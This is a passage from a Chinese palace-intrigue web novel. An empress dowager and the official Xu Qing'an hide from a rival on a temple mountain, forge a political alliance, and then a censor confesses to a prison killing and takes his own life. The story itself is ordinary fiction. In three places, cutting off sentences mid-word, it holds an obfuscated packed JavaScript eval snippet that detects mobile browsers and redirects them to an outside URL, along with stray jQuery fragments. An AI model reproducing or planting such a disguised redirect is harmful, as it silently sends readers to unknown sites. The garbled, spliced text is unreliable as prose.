手里了么?可是你为何至今仍将一些事情隐瞒,不肯告诉我?” “比如,你和张凡的关系,又比如,你在牢里和刘昌真实说过的话。” 二人眸光同时一暗。 而上官栩脚下慢慢迈出,一步一句,竟反将他步步逼退:“张凡是你老师,位列相公之位,你说苏望心腹众多轮不到来重用你,那你为何不去找张凡?你是张凡嫡系,按理,他才是你的首选,可你为何却要舍近求远来找我?” “你此前说,刘昌转述给他背后之人的那些话是你刻意激他所致,可是刘昌纵然是个蠢货但却也不至于是个完全的傻子,他不仅知道他背后之人不会救他,他还知道,只要他将那些话说出去,他立马就得死。” 上官栩停下,仰脸望他,目光灼热明亮,就似将他所有隐于暗处的秘辛照得藏无可藏。 她嗤笑一声:“莫非徐大人是想告诉我,反正他觉得他早晚都得一死,与其在恐惧之中挨到秋决,不如求他背后之人给他个痛快?可若他真有如此觉悟,他还会落到如今这个下场?” 她讥讽之中带上质问:“徐大人,这就是你给我的真心?” 望着上官栩似笑非笑的眼,徐卿安眼眸幽深,就如藏在昏暗中的曜石,净冷,看不透,然而若有光一照,便能反出熠熠的光。 “大人,这就下山回寺里了吗?” “再去转转吧,她应当还没走。” 突然,往上的山道上传来交谈声,声音由远及近,打破了平台上对峙的紧张气氛。且那声音熟悉,让上官栩心下一紧,不待徐卿安回答便先转头去看,然而腰上却是骤然被施了力,一下被拉了出去—— 徐卿安一把将她搂抱住,并不与她商量地就转身带着她往身后的山坡野道里去。 上官栩大惊,下意识就去推他,想往外挣出去的同时准备开口呵啧。 而他却越搂越紧,俯身靠近,手指做出噤声的手势:“嘘。” 他面对她微愠的神情重新噙起笑,低声道:“苏中丞来了,娘娘是想带着臣出去和他见一见么?” 20. 第 20 章 苏然带着随从沿着山道从山上下来,上官栩被徐卿安钳着腰藏在山坡后野道中。 近日多雨,天空阴郁,虽才过半下午,但山间的光线已经变得昏暗,再加上周围林木丛生,两个人藏在里面,不仔细去看根本发现不了。 徐卿安背紧靠在山坡上以掩藏自己的身形,上官栩则被他紧紧抱着,贴在他身前。 他的力道其实有点大,上官栩的手抵在他胸膛上也攥紧了他的衣袍,偶尔会拧到他的皮肉。 徐卿安看了眼外面的情况,回头过来小声地好心提醒道:“娘娘轻些,苏中丞还没走呢,要是臣一下没忍住,叫出声了被他发现可如何是好?” 他含笑地对上她愤恨的双眼,早知她此举是故意对他的报复,可是他偏偏揽得更紧。 “哦……”上官栩松开了他的衣服,声音柔柔,“原来徐大人不吃痛啊。” 徐卿安得寸进尺道:“是啊,臣可怕痛得很呢。” 然而下一刻他便神色一僵。 只因抵在他胸膛上的手慢慢挪到了他的颈后,他身前的人踮着脚尖将自己挂到了他身上! 他双目微瞠,偏头看去。 上官栩好整以暇地笑了笑:“那不如这样,徐大人不吃痛,我也更好藏一些。” 为躲旁人,与一青年男子藏匿于幽深处,姿态亲昵,气息声交互,这分明是逾距越轨之举,可上官栩却竟觉心中生出一股隐秘的刺激感,这种禁忌的感觉不致恐惧,反而带来了一种前所未有的奇异快.感。 瞬间,她也明显地感觉他的呼吸发生了变化,从他的神情来看他也并没有反应过来,可是从他的眼底中却又似透着一缕莫名的怨怼。 而比起感受那种禁忌的刺激感,她更多的是想看他的丑态。 可是二人对视不过须臾,他手上力气就突然再加重,一只手搭上她的后背用力,让她上身全部倚在了自己的身上。 “嗯!”上官栩被弄得闷哼一声,全身被禁锢。 徐卿安俯身将下巴抵在她的肩上,闭上眼压抑住自己的情绪,呼吸滚烫。 他的声音颤在她的耳侧:“臣……谢娘娘抬爱!” —— 苏然和随从行至了刚才二人刚才所站位置,那里有石凳歇脚,还算干净,苏然便也坐下暂歇。 随从继续刚才话道:“大人不打算回寺里,那现在下山可有想去的地方?” 苏然通过树木之间的间隙看出去,山下就是净明寺,寺中殿宇房舍鳞次栉比,唯见藏经塔楼高高耸立。 他叹道:“也没什么想去的地方,只是不想回去与她见上面罢了。” 随从颔首:“大人来净明寺本意就是为了静心,确实不宜再和旁人周旋。” 苏然沉吟:“不只是不想和旁人周旋,最主要的还是因为那个人是她……” 此番御史台大乱,工部被打压,虽明面上她也只是被牵扯其中,但却在每一步中她起到了关键的作用。 就连他此番受挫也是因为她,他来净明寺本就是来静心的,不是来寻不痛快的,有些人不想见自然就不见。 忽然,一旁的山坡后传出一阵簌簌声,苏然立马起身看去。 他凝眸警惕,脚下微动,准备去查看。 然而飞出来的不过是一只鸟罢了。 苏然松一口气。 不过如此一遭他也没兴致,转身对随从道:“走吧,再去山脚下逛逛。” —— 脚步声渐远,山坡后的人影慢慢显现出来。 上官栩望着苏然离去的方向缓缓步出,说道:“其实和他碰上也没什么,他知道我在净明寺,就算碰到你我在一起也不是什么见不得人的事。” “多一事不如少一事嘛。”身后清冷的说话声响起时还附带着脚下踩在杂草上的声音,“而且听刚才苏大人话中的意思,他似乎也并不想见娘娘。” 上官栩回身,见徐卿安向她走来,然他嘴里虽说着话,眼睛却并没看路,反而是左手的手掌握着右手的手腕,右手五指虚虚几握,视线就落在掌心之中。 似用力太久之后需要活动又似是在……回味什么? 徐卿安抬眼,见上官栩正在看他,自然地收回手背到身后,藏下自己的心思。 他笑道:“再者说,就算娘娘觉得没什么,但也难保旁人会用来做文章,您想想,他刚才那话的意思是为何不想见您?” 上官栩了然:“无非就是因为御史台和工部的事情罢了,这段时间他停职赋闲,想来家里的那位相公也对他说了些什么。” “对啊,所以他现在说不定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715888|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记恨着娘娘呢,娘娘可不能给他报复的机会。” 上官栩闻言看去,徐卿安对她扬眉一笑。 一朝太后私下会见臣子,事情确实可大可小。 可她勾唇道:“记恨我?恐怕在他心里还是徐大人的分量更重一些吧?” 毕竟扰乱御史台全靠的是他在三司会审上的那张嘴。 徐卿安也干脆承认道:“那臣便多谢娘娘照顾了。” 而说到这个,上官栩突然问:“你刚才……没事吧?” 刚才苏然听到的那阵簌簌声其实是徐卿安脚下失力,身体趔趄,碰到了坡上的杂草发出的。 徐卿安敛了笑意,摇摇头:“没什么大碍,大概是身体还没好全吧,刚才多亏了娘娘。” 刚才若不是上官栩眼疾手快,握了把细土向一旁的鸟儿撒出去,苏然还真可能会发现他们。 上官栩想起之前徐卿安用的药,问道:“你的身子到底是什么情况?上次在你府中我就想问,纵是狱中环境不好,但也不至于出来之后像你那样吐血。” 徐卿安浮起笑,目光幽幽:“娘娘不是责怪臣有许多事情没有告诉娘娘么,那臣今日就将那些事情全都讲出来,娘娘可愿听一听?” —— 苏然下到山底,见青禾和一众侍女侍从站在登山口,他心中立时烦闷,本想转身就走,然而却又觉得青禾或许已经看到了他,便不得不硬着头皮往下走过去。 “苏大人。” “青禾掌事。” 苏然原以为上官栩应也在这儿,然而他与青禾见礼之后却不见上官栩的身影,不由得问道:“太后娘娘呢?她不在这儿吗?” 青禾微诧异道:“娘娘独自上山了,苏大人没碰到么?” 苏然跟着惊讶:“什么?” 净明寺后山只修葺了一条山道,上山下山都要走同一条路。 苏然眸色微沉:“我自山顶下来,一路都没有见到过娘娘啊。” 他想起刚才在山上听到山坡后不寻常的动静,拳头握紧,而表面忧忧道:“山道只一条,我确实未曾见过娘娘,然而如今天色渐黑,娘娘又是独自上山,青禾掌事还是快带人上山寻一寻吧。” 青禾面泛担心:“嗯。” 苏然再言:“我和你们一起。” 21. 第 21 章 山上,徐卿安眉头微蹙,他面露难色,委实纠结:“该从哪儿讲起好呢?嗯……既然娘娘已经查过臣,那臣便先从娘娘查不到的地方开始说起吧。” “刘昌。”徐卿安抬眼笑,“刘昌的那些话确实是臣激他所致,不过娘娘说得也对,他不至于觉得自己活得太长而自寻死路,相反他还怕死得很。” “所以臣就稍微骗了骗他,说臣能救他性命,只消他把那些话说出来。” 上官栩好奇:“骗?” “瞒天过海,起死回生。” 徐卿安将这八个字说得别有深意。 上官栩思忖一瞬后道:“假死?”又冷笑一声,“真是个蠢货,这都相信。” 徐卿安替刘昌辩解两句:“唉,无路可走,无人愿救,他若想活,便只能相信我,只是终归是臣骗了他。此前臣不将此事说与娘娘,其实也是因为自觉理亏,怕说出来让娘娘对臣的印象不好。” 说完他又问:“或者说娘娘是想知道臣是如何让他相信的?那容臣再详细说来……” 上官栩瞥目打断道:“不用了,我既已知晓你是如何做的,其中细节我便不感兴趣。” 徐卿安配合着点头:“好。” 可上官栩继续问:“其它的呢?” “其它的……”徐卿安思忖道,“张公确实是臣的老师,但平心而论,纵是如此,娘娘也是比老师更好的选择。” 他道:“其实臣选老师和臣选苏相公是一样的,老师虽是一朝相公,但以如今形势来看,老师的相公之位和苏相公的实在相差甚多。” “大晋朝虽是施行群相制,然而现在的情况却是……那个‘群’字并不明显。老师都尚且无法保证职位应有之权,那么臣这个嫡系又要等到什么时候才能得到大展宏图的机会呢?” “等到老师能够像苏相公那样挥令群臣的那天么?”徐卿安无奈笑一下,“那与其等到那天,臣为何不直接向苏相公示好,一点一点地在他手下把资历挨上去,成为他的心腹,让他直接重用我?” 上官栩道:“你这话倒提醒了我,你此前说你不选苏公是因为他心腹众多,子侄众多,你难以因此得到重用,可是徐大人,你这般聪慧,得他信任应也不是很难的事吧?就算要费些时日,但是他手下的机会可是比我的多得多啊。” 徐卿安答道:“娘娘也说了,要费些时日,可是时日于臣来说就是最紧要的。娘娘见过臣狼狈的样子,娘娘觉得臣还有多少时日可活?” 上官栩想起御医对她说过的话,他服用的药已是用来吊续性命的了。 可是分明是令人悲切的话,他竟还带着笑意,就像他口中说的短命之人是旁的与他不相干的人一般。 上官栩似笑非笑:“但是看起来徐大人似乎心态很好?” 徐卿安这才叹道:“人生于世嘛,能活一天是一天,何必为了一些既定之事伤春悲秋?还是及时行乐来得快哉。不过也正因如此,许多该争的事情还是得争一争。” 上官栩凝视他:“你和你的老师真的很不一样。” “哪里不一样?” “他更无为。” “我呢?”徐卿安请教。 上官栩轻笑一声:“你更张扬。”她双眸微觑,好奇道,“你师承张凡时年岁尚小,按理说,你们师生之间不应有如此大的差别。” 徐卿安点头,勾唇道:“看来臣的生平娘娘查得详细。” 他说:“臣的确五岁拜张公为师,迄今已有快二十年,可是娘娘不知臣拜师不久,老师便远赴京城参加铨选,而后中试去地方为官了么?” “娘娘应该还知道,臣还有位年长臣几岁的哥哥,他更先拜入老师门下,其实他才是老师的得意弟子,臣不过是沾了他的光才有幸忝列师门。” “只是可惜三年多前洛州水灾,长兄路过时不幸遇难离世,臣未得他太多教诲,也未得老师太多真传,故而风格也就与他们并不相像吧。” 说到此处,徐卿安停了停,神情落寞,似在对故人缅怀。 然后他才再道:“兄长早逝,自身多病,娘娘觉得臣经历这些之后,臣还应该对自己的一腔抱负循序渐进,徐徐图之么?” 上官栩思忖,他的确没有那么多时间。 而他也看出了她所想,紧接着说道:“旁人逐志,是与竟者争,与自己争,而臣在此之上还要与时间争,所以臣若想尽早实现青云之志,臣便不能将时间都耗在那些需要按部就班的事情上。” 上官栩接言道:“所以你选我,是因你觉得我可用之人很少,而历来朋党之间争权夺利是最快的上位之径,且我用你谋事,事成之后你就是大功臣,而你也能因此得到你想要的。” 她声音微沉带厉:“你这是在拉着我和你一起赌!” “是赌么?”徐卿安望去,“娘娘不也有匡扶皇权的想法么?” 他轻叹:“就算是赌吧,然而这也是臣一人的赌局,臣既决意投身娘娘,自然事事都要挡在娘娘身前,开路也好,御敌也罢,臣左不过就是娘娘手里的一把刀,什么时候娘娘觉得臣这把刀无用了,拖累娘娘了,娘娘也只管弃了就是,不必担心臣牵连到娘娘。” 他笑了笑:“臣寿数已定,这些事情还是看得开的。” 纵是其中真假不知,可说得这些话也到底有理。 上官栩沉默。 而徐卿安一眼不眨地关注她的神情,突然凝眸道:“而且……臣还有一个非选择娘娘不可的原因。” 上官栩瞧过去:“什么?” 他目光盈盈,情真意切:“臣还……爱慕着娘娘。” —— 饶是知道他一贯爱花言巧语,上官栩听到这句话时还是惊了一瞬。 她微微恍惚,蹙眉道:“你说什么?” “臣说,臣爱慕娘娘。”他丝毫不躲避她的目光,相反,相比于上一句话,他这次说得竟还要更认真。 上官栩觉得自己简直就要被他欺骗。 徐卿安拱手:“臣自杏园宴上见到娘娘的第一眼时,臣便觉神摇意夺,只是初时,臣以为那不过只是惊鸿照影、刹那惊艳,想如娘娘这样皎如明月的人物,自是容易引人欣赏,臣也不过其中之一而已。可是后来,随着臣与娘娘之间不断的接触,臣才知晓臣已对娘娘生了不该有的心思。” 上官栩轻笑:“既知是不该有的心思,你为何还要说出来?” 徐卿安:“若论君臣,这自是悖德僭越,但若只论男女呢?臣也不能诉明情意么?” 上官栩无言,忽而想起他刚才从山坡后出来时的动作…… 原来他早就心思不纯,他刚才就是在……! 可恶。 徐卿安见她不说话,脚下往一旁动了几寸,歪垂着头含笑地去寻她视线。 “娘娘也不必生忧,臣自知是臣一厢情愿,只是实在是今日情难自禁,一时没忍住便说了出来,臣不会求娘娘给臣交代的。” 上官栩讥讽:“你还想要交代?” 徐卿安拱手:“臣失言。” 他低头之际再抬眼悄悄瞧了她一眼,说道:“今日之话确实是臣一时唐突,惊扰到了娘娘。为表歉意,不如臣为娘娘赔上一桩补偿之礼可好?” “又送礼?”上官栩揶揄道,“上次送个礼徐大人可就把御史台搅得一片混乱,这一次又是看准了哪儿啊?” 徐卿安含笑,干脆道:“娘娘不都说了么,御史台乱了,那么就总得收拾收拾。” “哦?你是想……”上官栩听出他话中之意,将说不说。 徐卿安顺着步道往山下看了眼道:“刚才那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715889|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏大人娘娘觉得如何?” 上官栩一下了然,凝眸沉声:“他可是苏公最器重的侄子。” 徐卿安却道:“在他之前,苏四郎应该才是最受器重的吧?呵,下场还不是那样。” “苏相公树大根深,娘娘无论是想将他连根拔起,还是压制他的势力,硬碰硬都绝对讨不到好处,只能从旁开始,斩其枝丫,削其羽翼。” “所以你就最先选择了苏行正?”上官栩语气听不出好坏的,“以前在御史台时,他可是你的官长啊,你就这么对他?” “娘娘此言诧异。”徐卿安接言,眉目间带上怨色,“他虽是臣的官长,但其实刘昌背后的人到底是谁,娘娘与我都心知肚明,如今臣背上的鞭痕仍在,臣又岂敢忘其伤痛,而事情行到这一步,他之后会如何对臣,臣也清楚,故而充其量这也不过是臣的自保罢了。” “再者说了,古人有云‘用兵之道,攻心为上,攻城为下;心战为上,兵战为下’[1],朝堂之争亦是如此,臣先选他也正如娘娘说的那样——这位苏大人备受器重,那么若是最受器重之人折戟沉沙,颓然倾覆失势,那他身后的培育之人是否也会因此身心受创,元气大伤呢?” 他微微笑了笑,如今表情温润,看似无害,嘴上却说着最无情,最让人胆寒的话—— “百足之虫死而不僵,那就让其将死之前,百足尽断。” —— 风拂树动,草叶沙沙。 密林中,上官栩与徐卿安望着,长久无言。 她总算知道她为何分明抵触他却又需要他,但又还带着一股无端的恶意。 只因他眉眼之间带着她多年已不见的故人气韵,每每与他相望时,她视线都控制不住地停留。 可也正是因此,她厌恶他! 故人的气韵干净高洁,是她认为的世间上最美好的郎君,可是眼下这个相似之人却行着与他背道而驰的事情! 纵是千人千面,上官栩缺也始终觉得他带着故人的影子。 明月高洁、雅正,而他阴鸷、腌臜,他自是远远比不上故人,可偏他就像暗夜潭水,纵是明月高悬,他也总能倒映出一抹浊晖。 这又何尝不是对故人的玷污? 上官栩深深凝望着他,心室中愤意翻涌。 然而转念一想,那又如何呢? 故人已逝,世间本就没有与之相替之人,她如今要做的本就是那些肮脏的、让人不齿的阴谋诡计,这又和她以往相悖了多少呢? 她既已决意于见不得光的污秽中行走,那本就是要寻一个能在暗夜里为她所用的人啊。 而他虚伪、狠毒、不择手段,不正好么?能有几分故人气韵也不过意外所得罢了。 如此想来岂不也是另一种意义上的好事? 她忽然压抑着,却又透着肆意地低笑几声。 也罢也罢,这样的人管他真心多少,利用也好,虚与委蛇也罢,只要能为她所用,不然他若真转投于苏望旗下,那才是祸害无穷。 而倘若他真有心于她,她也不必避如蛇蝎,相反那便是她能掌控他的最好利器。 徐卿安哪知她现下所想,只觉她笑容肆意、张狂,心绪蓦地沉下,又隐隐作痛,起了愠意。 “娘娘……”他开口轻声唤她,如今已无半分笑意。 而上官栩静下来,眼尾笑意仍在,目有痛快之意:“好,从今日起,你我携手共谋事。” “赢了,我兴皇权,你登青云,输了……” “输了,臣下地狱,娘娘……”徐卿安眼底闪烁一瞬,嘴角扯出笑,“再择良机,东山再起。” —— “娘娘!” 话音一路,山下突然传来青禾的一声高喊声,而伴随着这声音的同时,其他的寻喊声也纷纷响起。 22. 第 22 章 苏然本想赶在前头,到刚才下山时歇脚的位置查探情况,谁知青禾突然大喊起来,他迟疑一瞬,只说担忧太后娘娘的安危,三步并作两步地就往山上跑去。 青禾紧随其后。 然而奔袭一路,到了刚才的位置时却找遍了都没发现奇怪的痕迹。 青禾见状上前道:“苏大人是掉了东西么?” 苏然回过身,尴尬笑一下:“没有,这不是担心娘娘勿入小径迷了路么,便想着到林子里来看一看。” “哦。”青禾低低地应一声,探头往他身后的林子看了眼,道,“不过这林子看起来并不像有人来过的,野道多险峻,苏大人还是小心些,莫要走得太进去了。” 苏然微笑颔首:“多谢青禾掌事提醒了。” “青禾。” 二人话音刚落,身后稍高处的位置就传来轻喊声。 青禾和苏然闻声寻去,见上官栩正站在山道上,似刚从山上下来,面上微有不解地看着他们。 在场所有人见到上官栩之后都纷纷向她行礼。 上官栩边走下去边问道:“青禾怎么上来了,苏五哥也在这儿,你们……是一起的?” 青禾如实道:“是奴婢在山下等娘娘时遇见了苏大人下山,彼时寒暄几句,问了苏大人是否见到过娘娘,然而苏大人却说并未与娘娘碰过面,而上下山的道路只有一条,奴婢一时生了担忧,便带了人上来寻娘娘。” “苏大人也忧心娘娘安危,故而就与奴婢一起上山找娘娘了。” “哦,原是这样。”上官栩听完之后叹道,又紧接着惊奇道,“苏五哥刚才才从山上下去?” 苏然点头。 上官栩笑道:“这倒真是奇了,你我竟然没碰上。哦,我想起来了……”说着,她骤然醒神,“我刚在半路上发现一丛芍药花叶,一时好奇周围长了多少,便往林子里走了走偏离了主道,或许就是那时错过了。” 净明寺后山一路上都种了许多花,各类品种都有,每年二月中下旬到五六月都是花季。 而上官栩喜爱芍药,苏然也是有所耳闻的,故而道:“娘娘没事就好,只是娘娘以后还是要小心,那些没有修葺的山道地方易有隐患,娘娘独自在外若是遇到了不好应付。” 上官栩笑着轻嗯:“苏五哥的提醒我记下了,不过那位置还算平坦,我进去前也是观察过,就在下面那处歇脚平台旁的林子里,等之后花开了,苏五哥也可以去看看。” 苏然含笑应是。 上官栩带着青禾下山了,离开前她还问了苏然是否要一起,苏然借口推脱,上官栩自是知道他要去做什么,也不管他,笑了笑就带着人走了。 —— 天色渐暗,驶出净明寺的马车带出一长队人,只片刻,净明寺中的香客就去了十之八.九。 后山上,随从从野道里出来向苏然道:“大人,确实背后有很大一片芍药花丛。” 苏然再往后乜一眼,冷声道:“走吧,她回宫了,我们也可以下山了。” 树林阴翳下,地势更高处,徐卿安藏在山道拐角后一目不错地望着下山的二人。 早些时候,在青禾的那声“娘娘”传来时,上官栩便意识到了不对。 “糟了,后山只一条山道,刚才虽刻意躲了苏行正,但他肯定碰上青禾了,青禾不知情况,稍微一问,苏行正便知晓我上了山。” 徐卿安道:“娘娘是觉得苏中丞又去而复返了?” 上官栩警惕道:“青禾来寻我定是苏行正说了什么,而她应也是半道察觉到了端倪,否则不会发出这样的喊声。” 上官栩立马转身:“不能让苏行正在这儿碰见你我在一起。” 可她刚准备往上走,手下却被蓦地拉住。 她抬眼看向身后那个失礼之人。 徐卿安幽幽望着她,正色道:“从这个地方往下的第一个歇脚平台后面有一大片未开的芍药花叶,虽在野道之中,但常有人去。” 二人对视,上官栩沉吟一瞬,颔首低声道:“好,我知道了。” “刚才……” “刚才那里的痕迹我来处理,娘娘先行。” “嗯。” …… 苏然下山的速度很快,不见背影后,徐卿安从山道拐角后出来,看了眼手中把玩着的一片芍药花叶,又想起刚才和上官栩心照不宣的配合。 倒是还有些默契…… 可是他忽而想到她刚才在他面前极近失态的放肆笑容,目中又渐渐藏起冷,转头望向山下离去的马车队伍。 他眼眸无情地凝望着,心中却生出一股近乎怪异的矛盾情感问:“我用你曾经用过的方式对付别人,你一定很喜欢吧?” —— 时值二月,寒潮未退,宫里传了旨意出来,陛下偶感风寒,需以温泉疗养,适三月又逢春猎,故而准备举宫迁至骊山行宫,大小朝事皆于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722431|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行宫举行,待春猎结束后再行返回。 而同时间,徐卿安也伤好复职,去了刑部做事。 御史台的事情最近仍是没有着落,此前上官栩和苏望商议,让刑部和大理寺协理调查此事,如今徐卿安复职,他身为亲身经历者,自也接手了刑部关于御史台那块的事务。 在此之前,刑部和大理寺的人已将当夜台狱执勤的狱吏全部问了遍——当夜并无可疑人出入台狱,期间只狱吏换过几次岗。 旁的人不清楚,但徐卿安自然知道苏然既行了此事,定是一早就安排好了,说不定那些狱吏都是他的心腹,自然就问不出什么了。 徐卿安也不急,只寻了些兽皮来,一天之中无事时就用刀在上面捣鼓着。 小皇帝染了风寒,精神不好,吃不下东西,御医也没办法,毕竟喝药只能养身,心情不畅便不是他能调理的了。 正当小皇帝身边之人都无计可施时,刑部员外郎徐卿安突然向皇帝献了个东西——一对皮影。 小皇帝立时起了兴致,而皮影形状与背后故事挂钩,他便召了徐卿安进宫,要他一连几日为他讲戏。 能让皇帝吃下饭,这自然是可允准之事。 又恰在这个时候刑部的人寻到了一个倾脚工。 当日刑部就得到一个消息,刘昌自戕当夜,倾脚工在处理台狱里的秽物时,见到一个人从台狱里走了出来,而那时应是寅时五刻,不属于狱吏换班的时辰。 整个刑部一下沸腾,立马找了画师,要画师依那倾脚工的描述将那人的模样画出来。 结果出来时,众人皆是一惊——那人竟是之前和徐卿安同查一案的御史陈峰。 而更令人震惊的是,刑部的人刚到府上拿人时,陈峰面上表情坦然,竟毫无畏惧可言。 他更是当着众人高声承认他对刘昌所为之事,自述自己早知会有今日,夙夜难眠,如今却也算解脱。 只是他忽而大骂当朝太后任人唯亲、目光短浅,只知行小人之举,刑部众人本欲将其控制,然而他却突然将手中绝笔信撒出,从袖中掏出一把匕首于众目睽睽之下自刎。 血溅门楣,当场之人无不惊目扼腕。 陈峰绝笔信中有段话写道: 夫大晋主君冲幼,而太后无诏临朝秉政,名为垂帘,然用人却不以贤能为尚,惟以悦己为要,致庙堂之上贤才困厄于下,而幸臣扶摇而上,此非纲常混乱哉?此非社稷倾覆之兆哉!